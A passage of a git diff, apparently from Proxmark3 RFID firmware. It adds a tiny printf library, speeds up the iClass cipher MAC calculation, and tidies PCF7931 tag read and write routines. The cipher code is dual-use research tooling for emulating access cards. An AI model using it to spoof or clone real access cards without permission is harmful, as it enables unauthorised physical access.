_atoi(&format); + } else if (*format == '*') { + const int prec = (int)va_arg(va, int); + precision = prec > 0 ? (unsigned int)prec : 0U; + format++; + } + } + + // evaluate length field + switch (*format) { + case 'l' : + flags |= FLAGS_LONG; + format++; + if (*format == 'l') { + flags |= FLAGS_LONG_LONG; + format++; + } + break; + case 'h' : + flags |= FLAGS_SHORT; + format++; + if (*format == 'h') { + flags |= FLAGS_CHAR; + format++; + } + break; +#if defined(PRINTF_SUPPORT_PTRDIFF_T) + case 't' : + flags |= (sizeof(ptrdiff_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG); + format++; + break; +#endif + case 'j' : + flags |= (sizeof(intmax_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG); + format++; + break; + case 'z' : + flags |= (sizeof(size_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG); + format++; + break; + default : + break; + } + + // evaluate specifier + switch (*format) { + case 'd' : + case 'i' : + case 'u' : + case 'x' : + case 'X' : + case 'o' : + case 'b' : { + // set the base + unsigned int base; + if (*format == 'x' || *format == 'X') { + base = 16U; + } else if (*format == 'o') { + base = 8U; + } else if (*format == 'b') { + base = 2U; + } else { + base = 10U; + flags &= ~FLAGS_HASH; // no hash for dec format + } + // uppercase + if (*format == 'X') { + flags |= FLAGS_UPPERCASE; + } + + // no plus or space flag for u, x, X, o, b + if ((*format != 'i') && (*format != 'd')) { + flags &= ~(FLAGS_PLUS | FLAGS_SPACE); + } + + // ignore '0' flag when precision is given + if (flags & FLAGS_PRECISION) { + flags &= ~FLAGS_ZEROPAD; + } + + // convert the integer + if ((*format == 'i') || (*format == 'd')) { + // signed + if (flags & FLAGS_LONG_LONG) { +#if defined(PRINTF_SUPPORT_LONG_LONG) + const long long value = va_arg(va, long long); + idx = _ntoa_long_long(out, buffer, idx, maxlen, (unsigned long long)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags); +#endif + } else if (flags & FLAGS_LONG) { + const long value = va_arg(va, long); + idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned long)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags); + } else { + const int value = (flags & FLAGS_CHAR) ? (char)va_arg(va, int) : (flags & FLAGS_SHORT) ? (short int)va_arg(va, int) : va_arg(va, int); + idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned int)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags); + } + } else { + // unsigned + if (flags & FLAGS_LONG_LONG) { +#if defined(PRINTF_SUPPORT_LONG_LONG) + idx = _ntoa_long_long(out, buffer, idx, maxlen, va_arg(va, unsigned long long), false, base, precision, width, flags); +#endif + } else if (flags & FLAGS_LONG) { + idx = _ntoa_long(out, buffer, idx, maxlen, va_arg(va, unsigned long), false, base, precision, width, flags); + } else { + const unsigned int value = (flags & FLAGS_CHAR) ? (unsigned char)va_arg(va, unsigned int) : (flags & FLAGS_SHORT) ? (unsigned short int)va_arg(va, unsigned int) : va_arg(va, unsigned int); + idx = _ntoa_long(out, buffer, idx, maxlen, value, false, base, precision, width, flags); + } + } + format++; + break; + } +#if defined(PRINTF_SUPPORT_FLOAT) + case 'f' : + case 'F' : + if (*format == 'F') flags |= FLAGS_UPPERCASE; + idx = _ftoa(out, buffer, idx, maxlen, va_arg(va, double), precision, width, flags); + format++; + break; +#if defined(PRINTF_SUPPORT_EXPONENTIAL) + case 'e': + case 'E': + case 'g': + case 'G': + if ((*format == 'g') || (*format == 'G')) flags |= FLAGS_ADAPT_EXP; + if ((*format == 'E') || (*format == 'G')) flags |= FLAGS_UPPERCASE; + idx = _etoa(out, buffer, idx, maxlen, va_arg(va, double), precision, width, flags); + format++; + break; +#endif // PRINTF_SUPPORT_EXPONENTIAL +#endif // PRINTF_SUPPORT_FLOAT + case 'c' : { + unsigned int l = 1U; + // pre padding + if (!(flags & FLAGS_LEFT)) { + while (l++ < width) { + out(' ', buffer, idx++, maxlen); + } + } + // char output + out((char)va_arg(va, int), buffer, idx++, maxlen); + // post padding + if (flags & FLAGS_LEFT) { + while (l++ < width) { + out(' ', buffer, idx++, maxlen); + } + } + format++; + break; + } + + case 's' : { + const char *p = va_arg(va, char *); + unsigned int l = _strnlen_s(p, precision ? precision : (size_t) - 1); + // pre padding + if (flags & FLAGS_PRECISION) { + l = (l < precision ? l : precision); + } + if (!(flags & FLAGS_LEFT)) { + while (l++ < width) { + out(' ', buffer, idx++, maxlen); + } + } + // string output + while ((*p != 0) && (!(flags & FLAGS_PRECISION) || precision--)) { + out(*(p++), buffer, idx++, maxlen); + } + // post padding + if (flags & FLAGS_LEFT) { + while (l++ < width) { + out(' ', buffer, idx++, maxlen); + } + } + format++; + break; + } + + case 'p' : { + width = sizeof(void *) * 2U; + flags |= FLAGS_ZEROPAD | FLAGS_UPPERCASE; +#if defined(PRINTF_SUPPORT_LONG_LONG) + const bool is_ll = sizeof(uintptr_t) == sizeof(long long); + if (is_ll) { + idx = _ntoa_long_long(out, buffer, idx, maxlen, (uintptr_t)va_arg(va, void *), false, 16U, precision, width, flags); + } else { +#endif + idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned long)((uintptr_t)va_arg(va, void *)), false, 16U, precision, width, flags); +#if defined(PRINTF_SUPPORT_LONG_LONG) + } +#endif + format++; + break; + } + + case '%' : + out('%', buffer, idx++, maxlen); + format++; + break; + + default : + out(*format, buffer, idx++, maxlen); + format++; + break; + } + } + + // termination + out((char)0, buffer, idx < maxlen ? idx : maxlen - 1U, maxlen); + + // return written chars without terminating \0 + return (int)idx; +} + + +/////////////////////////////////////////////////////////////////////////////// + +int printf_(const char *format, ...) { + va_list va; + va_start(va, format); + char buffer[1]; + const int ret = _vsnprintf(_out_char, buffer, (size_t) - 1, format, va); + va_end(va); + return ret; +} + + +int sprintf_(char *buffer, const char *format, ...) { + va_list va; + va_start(va, format); + const int ret = _vsnprintf(_out_buffer, buffer, (size_t) - 1, format, va); + va_end(va); + return ret; +} + + +int snprintf_(char *buffer, size_t count, const char *format, ...) { + va_list va; + va_start(va, format); + const int ret = _vsnprintf(_out_buffer, buffer, count, format, va); + va_end(va); + return ret; +} + + +int vprintf_(const char *format, va_list va) { + char buffer[1]; + return _vsnprintf(_out_char, buffer, (size_t) - 1, format, va); +} + + +int vsnprintf_(char *buffer, size_t count, const char *format, va_list va) { + return _vsnprintf(_out_buffer, buffer, count, format, va); +} + + +int fctprintf(void (*out)(char character, void *arg), void *arg, const char *format, ...) { + va_list va; + va_start(va, format); + const out_fct_wrap_type out_fct_wrap = { out, arg }; + const int ret = _vsnprintf(_out_fct, (char *)(uintptr_t)&out_fct_wrap, (size_t) - 1, format, va); + va_end(va); + return ret; +} diff --git a/armsrc/nprintf.h b/armsrc/nprintf.h new file mode 100644 index 000000000..5c83384b7 --- /dev/null +++ b/armsrc/nprintf.h @@ -0,0 +1,107 @@ +/////////////////////////////////////////////////////////////////////////////// +// \author (c) Marco Paland (info@paland.com) +// 2014-2019, PALANDesign Hannover, Germany +// +// \license The MIT License (MIT) +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in +// all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +// THE SOFTWARE. +// +// \brief Tiny printf, sprintf and snprintf implementation, optimized for speed on +// embedded systems with a very limited resources. +// Use this instead of bloated standard/newlib printf. +// These routines are thread safe and reentrant. +// +/////////////////////////////////////////////////////////////////////////////// + +#ifndef _PRINTF_H_ +#define _PRINTF_H_ + +#include +#include +#include +#include + +/** + * Output a character to a custom device like UART, used by the printf() function + * This function is declared here only. You have to write your custom implementation somewhere + * \param character Character to output + */ +void _putchar(char character); + + +/** + * Tiny printf implementation + * You have to implement _putchar if you use printf() + * To avoid conflicts with the regular printf() API it is overridden by macro defines + * and internal underscore-appended functions like printf_() are used + * \param format A string that specifies the format of the output + * \return The number of characters that are written into the array, not counting the terminating null character + */ +#define printf printf_ +int printf_(const char *format, ...); + + +/** + * Tiny sprintf implementation + * Due to security reasons (buffer overflow) YOU SHOULD CONSIDER USING (V)SNPRINTF INSTEAD! + * \param buffer A pointer to the buffer where to store the formatted string. MUST be big enough to store the output! + * \param format A string that specifies the format of the output + * \return The number of characters that are WRITTEN into the buffer, not counting the terminating null character + */ +#define sprintf sprintf_ +int sprintf_(char *buffer, const char *format, ...); + + +/** + * Tiny snprintf/vsnprintf implementation + * \param buffer A pointer to the buffer where to store the formatted string + * \param count The maximum number of characters to store in the buffer, including a terminating null character + * \param format A string that specifies the format of the output + * \param va A value identifying a variable arguments list + * \return The number of characters that COULD have been written into the buffer, not counting the terminating + * null character. A value equal or larger than count indicates truncation. Only when the returned value + * is non-negative and less than count, the string has been completely written. + */ +#define snprintf snprintf_ +#define vsnprintf vsnprintf_ +int snprintf_(char *buffer, size_t count, const char *format, ...); +int vsnprintf_(char *buffer, size_t count, const char *format, va_list va); + + +/** + * Tiny vprintf implementation + * \param format A string that specifies the format of the output + * \param va A value identifying a variable arguments list + * \return The number of characters that are WRITTEN into the buffer, not counting the terminating null character + */ +#define vprintf vprintf_ +int vprintf_(const char *format, va_list va); + + +/** + * printf with output function + * You may use this as dynamic alternative to printf() with its fixed _putchar() output + * \param out An output function which takes one character and an argument pointer + * \param arg An argument pointer for user data passed to output function + * \param format A string that specifies the format of the output + * \return The number of characters that are sent to the output function, not counting the terminating null character + */ +int fctprintf(void (*out)(char character, void *arg), void *arg, const char *format, ...); + +#endif // _PRINTF_H_ diff --git a/armsrc/optimized_cipher.c b/armsrc/optimized_cipher.c index 4894bf6bc..0f762a8d6 100644 --- a/armsrc/optimized_cipher.c +++ b/armsrc/optimized_cipher.c @@ -60,11 +60,59 @@ -- MHS 2015 **/ +/** + + The runtime of opt_doTagMAC_2() with the MHS optimized version was 403 microseconds on Proxmark3. + This was still to slow for some newer readers which didn't want to wait that long. + + Further optimizations to speedup the MAC calculations: + * Optimized opt_Tt logic + * Look up table for opt_select + * Removing many unnecessary bit maskings (& 0x1) + * updating state in place instead of alternating use of a second state structure + * remove the necessity to reverse bits of input and output bytes + + opt_doTagMAC_2() now completes in 270 microseconds. + + -- piwi 2019 +**/ + #include "optimized_cipher.h" -#define opt_T(s) (0x1 & ((s->t >> 15) ^ (s->t >> 14)^ (s->t >> 10)^ (s->t >> 8)^ (s->t >> 5)^ (s->t >> 4)^ (s->t >> 1)^ s->t)) +static const uint8_t opt_select_LUT[256] = { + 00, 03, 02, 01, 02, 03, 00, 01, 04, 07, 07, 04, 06, 07, 05, 04, + 01, 02, 03, 00, 02, 03, 00, 01, 05, 06, 06, 05, 06, 07, 05, 04, + 06, 05, 04, 07, 04, 05, 06, 07, 06, 05, 05, 06, 04, 05, 07, 06, + 07, 04, 05, 06, 04, 05, 06, 07, 07, 04, 04, 07, 04, 05, 07, 06, + 06, 05, 04, 07, 04, 05, 06, 07, 02, 01, 01, 02, 00, 01, 03, 02, + 03, 00, 01, 02, 00, 01, 02, 03, 07, 04, 04, 07, 04, 05, 07, 06, + 00, 03, 02, 01, 02, 03, 00, 01, 00, 03, 03, 00, 02, 03, 01, 00, + 05, 06, 07, 04, 06, 07, 04, 05, 05, 06, 06, 05, 06, 07, 05, 04, + 02, 01, 00, 03, 00, 01, 02, 03, 06, 05, 05, 06, 04, 05, 07, 06, + 03, 00, 01, 02, 00, 01, 02, 03, 07, 04, 04, 07, 04, 05, 07, 06, + 02, 01, 00, 03, 00, 01, 02, 03, 02, 01, 01, 02, 00, 01, 03, 02, + 03, 00, 01, 02, 00, 01, 02, 03, 03, 00, 00, 03, 00, 01, 03, 02, + 04, 07, 06, 05, 06, 07, 04, 05, 00, 03, 03, 00, 02, 03, 01, 00, + 01, 02, 03, 00, 02, 03, 00, 01, 05, 06, 06, 05, 06, 07, 05, 04, + 04, 07, 06, 05, 06, 07, 04, 05, 04, 07, 07, 04, 06, 07, 05, 04, + 01, 02, 03, 00, 02, 03, 00, 01, 01, 02, 02, 01, 02, 03, 01, 00 +}; -#define opt_B(s) (((s->b >> 6) ^ (s->b >> 5) ^ (s->b >> 4) ^ (s->b)) & 0x1) +/********************** the table above has been generated with this code: ******** +#include "util.h" +static void init_opt_select_LUT(void) { + for (int r = 0; r < 256; r++) { + uint8_t r_ls2 = r << 2; + uint8_t r_and_ls2 = r & r_ls2; + uint8_t r_or_ls2 = r | r_ls2; + uint8_t z0 = (r_and_ls2 >> 5) ^ ((r & ~r_ls2) >> 4) ^ ( r_or_ls2 >> 3); + uint8_t z1 = (r_or_ls2 >> 6) ^ ( r_or_ls2 >> 1) ^ (r >> 5) ^ r; + uint8_t z2 = ((r & ~r_ls2) >> 4) ^ (r_and_ls2 >> 3) ^ r; + opt_select_LUT[r] = (z0 & 4) | (z1 & 2) | (z2 & 1); + } + print_result("", opt_select_LUT, 256); +} +***********************************************************************************/ #define opt__select(x,y,r) (4 & (((r & (r << 2)) >> 5) ^ ((r & ~(r << 2)) >> 4) ^ ( (r | r << 2) >> 3)))\ |(2 & (((r | r << 2) >> 6) ^ ( (r | r << 2) >> 1) ^ (r >> 5) ^ r ^ ((x^y) << 1)))\ @@ -74,9 +122,6 @@ * Some background on the expression above can be found here... uint8_t xopt__select(bool x, bool y, uint8_t r) { - uint8_t r_ls2 = r << 2; - uint8_t r_and_ls2 = r & r_ls2; - uint8_t r_or_ls2 = r | r_ls2; //r: r0 r1 r2 r3 r4 r5 r6 r7 //r_ls2: r2 r3 r4 r5 r6 r7 0 0 @@ -96,82 +141,95 @@ uint8_t xopt__select(bool x, bool y, uint8_t r) } */ -void opt_successor(const uint8_t *k, State *s, bool y, State *successor) { - uint8_t Tt = 1 & opt_T(s); +static void opt_successor(const uint8_t *k, State *s, uint8_t y) { +// #define opt_T(s) (0x1 & ((s->t >> 15) ^ (s->t >> 14) ^ (s->t >> 10) ^ (s->t >> 8) ^ (s->t >> 5) ^ (s->t >> 4)^ (s->t >> 1) ^ s->t)) + // uint8_t Tt = opt_T(s); + uint16_t Tt = s->t & 0xc533; + Tt = Tt ^ (Tt >> 1); + Tt = Tt ^ (Tt >> 4); + Tt = Tt ^ (Tt >> 10); + Tt = Tt ^ (Tt >> 8); - successor->t = (s->t >> 1); - successor->t |= (Tt ^ (s->r >> 7 & 0x1) ^ (s->r >> 3 & 0x1)) << 15; + s->t = (s->t >> 1); + s->t |= (Tt ^ (s->r >> 7) ^ (s->r >> 3)) << 15; - successor->b = s->b >> 1; - successor->b |= (opt_B(s) ^ (s->r & 0x1)) << 7; + uint8_t opt_B = s->b; + opt_B ^= s->b >> 6; + opt_B ^= s->b >> 5; + opt_B ^= s->b >> 4; - successor->r = (k[opt__select(Tt, y, s->r)] ^ successor->b) + s->l ; - successor->l = successor->r + s->r; + s->b = s->b >> 1; + s->b |= (opt_B ^ s->r) << 7; + + uint8_t opt_select = opt_select_LUT[s->r] & 0x04; + opt_select |= (opt_select_LUT[s->r] ^ ((Tt ^ y) << 1)) & 0x02; + opt_select |= (opt_select_LUT[s->r] ^ Tt) & 0x01; + + uint8_t r = s->r; + s->r = (k[opt_select] ^ s->b) + s->l ; + s->l = s->r + r; } -void opt_suc(const uint8_t *k, State *s, uint8_t *in, uint8_t length, bool add32Zeroes) { - State x2; +static void opt_suc(const uint8_t *k, State *s, uint8_t *in, uint8_t length, bool add32Zeroes) { for (int i = 0; i < length; i++) { uint8_t head; - head = 1 & (in[i] >> 7); - opt_successor(k, s, head, &x2); + head = in[i]; + opt_successor(k, s, head); - head = 1 & (in[i] >> 6); - opt_successor(k, &x2, head, s); + head >>= 1; + opt_successor(k, s, head); - head = 1 & (in[i] >> 5); - opt_successor(k, s, head, &x2); + head >>= 1; + opt_successor(k, s, head); - head = 1 & (in[i] >> 4); - opt_successor(k, &x2, head, s); + head >>= 1; + opt_successor(k, s, head); - head = 1 & (in[i] >> 3); - opt_successor(k, s, head, &x2); + head >>= 1; + opt_successor(k, s, head); - head = 1 & (in[i] >> 2); - opt_successor(k, &x2, head, s); + head >>= 1; + opt_successor(k, s, head); - head = 1 & (in[i] >> 1); - opt_successor(k, s, head, &x2); + head >>= 1; + opt_successor(k, s, head); - head = 1 & in[i]; - opt_successor(k, &x2, head, s); + head >>= 1; + opt_successor(k, s, head); } - //For tag MAC, an additional 32 zeroes if (add32Zeroes) { for (int i = 0; i < 16; i++) { - opt_successor(k, s, 0, &x2); - opt_successor(k, &x2, 0, s); + opt_successor(k, s, 0); + opt_successor(k, s, 0); } } } -void opt_output(const uint8_t *k, State *s, uint8_t *buffer) { - State temp = {0, 0, 0, 0}; +static void opt_output(const uint8_t *k, State *s, uint8_t *buffer) { for (uint8_t times = 0; times < 4; times++) { uint8_t bout = 0; - bout |= (s->r & 0x4) << 5; - opt_successor(k, s, 0, &temp); - bout |= (temp.r & 0x4) << 4; - opt_successor(k, &temp, 0, s); - bout |= (s->r & 0x4) << 3; - opt_successor(k, s, 0, &temp); - bout |= (temp.r & 0x4) << 2; - opt_successor(k, &temp, 0, s); - bout |= (s->r & 0x4) << 1; - opt_successor(k, s, 0, &temp); - bout |= (temp.r & 0x4) ; - opt_successor(k, &temp, 0, s); + bout |= (s->r & 0x4) >> 2; + opt_successor(k, s, 0); bout |= (s->r & 0x4) >> 1; - opt_successor(k, s, 0, &temp); - bout |= (temp.r & 0x4) >> 2; - opt_successor(k, &temp, 0, s); + opt_successor(k, s, 0); + bout |= (s->r & 0x4); + opt_successor(k, s, 0); + bout |= (s->r & 0x4) << 1; + opt_successor(k, s, 0); + bout |= (s->r & 0x4) << 2; + opt_successor(k, s, 0); + bout |= (s->r & 0x4) << 3; + opt_successor(k, s, 0); + bout |= (s->r & 0x4) << 4; + opt_successor(k, s, 0); + bout |= (s->r & 0x4) << 5; + opt_successor(k, s, 0); buffer[times] = bout; } } -void opt_MAC(uint8_t *k, uint8_t *input, uint8_t *out) { +static void opt_MAC(uint8_t *k, uint8_t *input, uint8_t *out) { State _init = { ((k[0] ^ 0x4c) + 0xEC) & 0xFF,// l ((k[0] ^ 0x4c) + 0x21) & 0xFF,// r @@ -183,45 +241,25 @@ void opt_MAC(uint8_t *k, uint8_t *input, uint8_t *out) { opt_output(k, &_init, out); } -uint8_t rev_byte(uint8_t b) { - b = (b & 0xF0) >> 4 | (b & 0x0F) << 4; - b = (b & 0xCC) >> 2 | (b & 0x33) << 2; - b = (b & 0xAA) >> 1 | (b & 0x55) << 1; - return b; -} - -void opt_reverse_arraybytecpy(uint8_t *dest, uint8_t *src, size_t len) { - uint8_t i; - for (i = 0; i < len ; i++) - dest[i] = rev_byte(src[i]); -} - void opt_doReaderMAC(uint8_t *cc_nr_p, uint8_t *div_key_p, uint8_t mac[4]) { - static uint8_t cc_nr[12]; - opt_reverse_arraybytecpy(cc_nr, cc_nr_p, 12); uint8_t dest [] = {0, 0, 0, 0, 0, 0, 0, 0}; - opt_MAC(div_key_p, cc_nr, dest); - //The output MAC must also be reversed - opt_reverse_arraybytecpy(mac, dest, 4); + opt_MAC(div_key_p, cc_nr_p, dest); + memcpy(mac, dest, 4); return; } + void opt_doTagMAC(uint8_t *cc_p, const uint8_t *div_key_p, uint8_t mac[4]) { - static uint8_t cc_nr[8 + 4 + 4]; - opt_reverse_arraybytecpy(cc_nr, cc_p, 12); State _init = { ((div_key_p[0] ^ 0x4c) + 0xEC) & 0xFF,// l ((div_key_p[0] ^ 0x4c) + 0x21) & 0xFF,// r 0x4c, // b 0xE012 // t }; - opt_suc(div_key_p, &_init, cc_nr, 12, true); - uint8_t dest [] = {0, 0, 0, 0}; - opt_output(div_key_p, &_init, dest); - //The output MAC must also be reversed - opt_reverse_arraybytecpy(mac, dest, 4); + opt_suc(div_key_p, &_init, cc_p, 12, true); + opt_output(div_key_p, &_init, mac); return; - } + /** * The tag MAC can be divided (both can, but no point in dividing the reader mac) into * two functions, since the first 8 bytes are known, we can pre-calculate the state @@ -231,17 +269,16 @@ void opt_doTagMAC(uint8_t *cc_p, const uint8_t *div_key_p, uint8_t mac[4]) { * @return the cipher state */ State opt_doTagMAC_1(uint8_t *cc_p, const uint8_t *div_key_p) { - static uint8_t cc_nr[8]; - opt_reverse_arraybytecpy(cc_nr, cc_p, 8); State _init = { ((div_key_p[0] ^ 0x4c) + 0xEC) & 0xFF,// l ((div_key_p[0] ^ 0x4c) + 0x21) & 0xFF,// r 0x4c, // b 0xE012 // t }; - opt_suc(div_key_p, &_init, cc_nr, 8, false); + opt_suc(div_key_p, &_init, cc_p, 8, false); return _init; } + /** * The second part of the tag MAC calculation, since the CC is already calculated into the state, * this function is fed only the NR, and internally feeds the remaining 32 0-bits to generate the tag @@ -252,13 +289,7 @@ State opt_doTagMAC_1(uint8_t *cc_p, const uint8_t *div_key_p) { * @param div_key_p - the key to use */ void opt_doTagMAC_2(State _init, uint8_t *nr, uint8_t mac[4], const uint8_t *div_key_p) { - static uint8_t _nr[4]; - opt_reverse_arraybytecpy(_nr, nr, 4); - opt_suc(div_key_p, &_init, _nr, 4, true); - - uint8_t dest [] = {0, 0, 0, 0}; - opt_output(div_key_p, &_init, dest); - //The output MAC must also be reversed - opt_reverse_arraybytecpy(mac, dest, 4); + opt_suc(div_key_p, &_init, nr, 4, true); + opt_output(div_key_p, &_init, mac); return; } diff --git a/armsrc/optimized_cipher.h b/armsrc/optimized_cipher.h index 9bf0516de..c6df25ab8 100644 --- a/armsrc/optimized_cipher.h +++ b/armsrc/optimized_cipher.h @@ -1,10 +1,8 @@ #ifndef OPTIMIZED_CIPHER_H #define OPTIMIZED_CIPHER_H -#include -#include -#include - +#include "common.h" +#include "string.h" /** * Definition 1 (Cipher state). A cipher state of iClass s is an element of F 40/2 * consisting of the following four components: diff --git a/armsrc/pcf7931.c b/armsrc/pcf7931.c index 942569a9c..21a739f45 100644 --- a/armsrc/pcf7931.c +++ b/armsrc/pcf7931.c @@ -1,5 +1,15 @@ #include "pcf7931.h" +#include "proxmark3_arm.h" +#include "cmd.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "lfsampling.h" +#include "string.h" + #define T0_PCF 8 //period for the pcf7931 in us #define ALLOC 16 @@ -22,7 +32,7 @@ size_t DemodPCF7931(uint8_t **outBlocks) { uint8_t dir; BigBuf_Clear_keep_EM(); - LFSetupFPGAForADC(95, true); + LFSetupFPGAForADC(LF_DIVISOR_125, true); DoAcquisition_default(0, true); /* Find first local max/min */ @@ -84,7 +94,10 @@ size_t DemodPCF7931(uint8_t **outBlocks) { } else { // Error if (++warnings > 10) { - Dbprintf("Error: too many detection errors, aborting."); + + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("Error: too many detection errors, aborting."); + return 0; } } @@ -125,27 +138,38 @@ bool IsBlock0PCF7931(uint8_t *block) { // assuming all RFU bits are set to 0 // if PAC is enabled password is set to 0 if (block[7] == 0x01) { - if (!memcmp(block, "\x00\x00\x00\x00\x00\x00\x00", 7) && !memcmp(block + 9, "\x00\x00\x00\x00\x00\x00\x00", 7)) + if (!memcmp(block, "\x00\x00\x00\x00\x00\x00\x00", 7) + && !memcmp(block + 9, "\x00\x00\x00\x00\x00\x00\x00", 7)) { return true; + } } else if (block[7] == 0x00) { - if (!memcmp(block + 9, "\x00\x00\x00\x00\x00\x00\x00", 7)) + if (!memcmp(block + 9, "\x00\x00\x00\x00\x00\x00\x00", 7)) { return true; + } } return false; } bool IsBlock1PCF7931(uint8_t *block) { // assuming all RFU bits are set to 0 + + uint8_t rb1 = block[14] & 0x80; + uint8_t rfb = block[14] & 0x7f; + uint8_t rlb = block[15]; + if (block[10] == 0 && block[11] == 0 && block[12] == 0 && block[13] == 0) { - - if ((block[14] & 0x7f) <= 9 - && block[15] <= 9) { + // block 1 is sent only if (RLB >= 1 && RFB <= 1) or RB1 enabled + if (rfb <= rlb + && rfb <= 9 + && rlb <= 9 + && ((rfb <= 1 && rlb >= 1) || rb1)) { return true; } } + return false; } @@ -178,21 +202,28 @@ void ReadPCF7931() { // exit if no block is received if (errors >= 10 && found_blocks == 0 && single_blocks_cnt == 0) { - Dbprintf("Error, no tag or bad tag"); + + if (DBGLEVEL >= DBG_INFO) + Dbprintf("[!!] Error, no tag or bad tag"); + return; } // exit if too many errors during reading if (tries > 50 && (2 * errors > tries)) { - Dbprintf("Error reading the tag"); - Dbprintf("Here is the partial content"); + + if (DBGLEVEL >= DBG_INFO) + Dbprintf("[!!] Error reading the tag, only partial content"); + goto end; } // our logic breaks if we don't get at least two blocks if (n < 2) { + // skip if all 0s block or no blocks if (n == 0 || !memcmp(tmp_blocks[0], "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16)) continue; + // add block to single blocks list if (single_blocks_cnt < max_blocks) { for (i = 0; i < single_blocks_cnt; ++i) { if (!memcmp(single_blocks[i], tmp_blocks[0], 16)) { @@ -202,6 +233,7 @@ void ReadPCF7931() { } if (j != 1) { memcpy(single_blocks[single_blocks_cnt], tmp_blocks[0], 16); + print_result("got single block", single_blocks[single_blocks_cnt], 16); single_blocks_cnt++; } j = 0; @@ -210,7 +242,12 @@ void ReadPCF7931() { continue; } - Dbprintf("(dbg) got %d blocks (%d/%d found) (%d tries, %d errors)", n, found_blocks, (max_blocks == 0 ? found_blocks : max_blocks), tries, errors); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("(dbg) got %d blocks (%d/%d found) (%d tries, %d errors)", n, found_blocks, (max_blocks == 0 ? found_blocks : max_blocks), tries, errors); + + for (i = 0; i < n; ++i) { + print_result("got consecutive blocks", tmp_blocks[i], 16); + } i = 0; if (!found_0_1) { @@ -269,10 +306,12 @@ void ReadPCF7931() { } ++tries; if (BUTTON_PRESS()) { - Dbprintf("Button pressed, stopping."); + if (DBGLEVEL >= DBG_EXTENDED) + Dbprintf("Button pressed, stopping."); + goto end; } - } while (found_blocks != max_blocks); + } while (found_blocks < max_blocks); end: Dbprintf("-----------------------------------------"); @@ -295,7 +334,7 @@ end: Dbprintf("-----------------------------------------"); } - reply_old(CMD_ACK, 0, 0, 0, 0, 0); + reply_mix(CMD_ACK, 0, 0, 0, 0, 0); } static void RealWritePCF7931(uint8_t *pass, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data) { @@ -381,8 +420,12 @@ static void RealWritePCF7931(uint8_t *pass, uint16_t init_delay, int32_t l, int3 @param data : data to write */ void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, uint8_t pass5, uint8_t pass6, uint8_t pass7, uint16_t init_delay, int32_t l, int32_t p, uint8_t address, uint8_t byte, uint8_t data) { - Dbprintf("Initialization delay : %d us", init_delay); - Dbprintf("Offsets : %d us on the low pulses width, %d us on the low pulses positions", l, p); + + if (DBGLEVEL >= DBG_INFO) { + Dbprintf("Initialization delay : %d us", init_delay); + Dbprintf("Offsets : %d us on the low pulses width, %d us on the low pulses positions", l, p); + } + Dbprintf("Password (LSB first on each byte): %02x %02x %02x %02x %02x %02x %02x", pass1, pass2, pass3, pass4, pass5, pass6, pass7); Dbprintf("Block address : %02x", address); Dbprintf("Byte address : %02x", byte); @@ -401,10 +444,12 @@ void WritePCF7931(uint8_t pass1, uint8_t pass2, uint8_t pass3, uint8_t pass4, ui void SendCmdPCF7931(uint32_t *tab) { uint16_t u = 0, tempo = 0; - Dbprintf("Sending data frame..."); + if (DBGLEVEL >= DBG_INFO) { + Dbprintf("Sending data frame..."); + } FpgaDownloadAndGo(FPGA_BITSTREAM_LF); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_PASSTHRU); LED_A_ON(); @@ -444,7 +489,6 @@ void SendCmdPCF7931(uint32_t *tab) { SpinDelay(200); AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // timer disable - LED(0xFFFF, 1000); } @@ -458,13 +502,13 @@ bool AddBytePCF7931(uint8_t byte, uint32_t *tab, int32_t l, int32_t p) { uint32_t u; for (u = 0; u < 8; ++u) { if (byte & (1 << u)) { //bit is 1 - if (AddBitPCF7931(1, tab, l, p) == 1) return 1; + if (AddBitPCF7931(1, tab, l, p) == 1) return true; } else { //bit is 0 - if (AddBitPCF7931(0, tab, l, p) == 1) return 1; + if (AddBitPCF7931(0, tab, l, p) == 1) return true; } } - return 0; + return false; } /* Add a bits for building the data frame of PCF7931 tags @@ -477,7 +521,7 @@ bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p) { uint8_t u = 0; //we put the cursor at the last value of the array - for (u = 0; tab[u] != 0; u += 3) { } + for (u = 0; tab[u] != 0; u += 3) { }; if (b == 1) { //add a bit 1 if (u == 0) @@ -487,7 +531,7 @@ bool AddBitPCF7931(bool b, uint32_t *tab, int32_t l, int32_t p) { tab[u + 1] = 6 * T0_PCF + 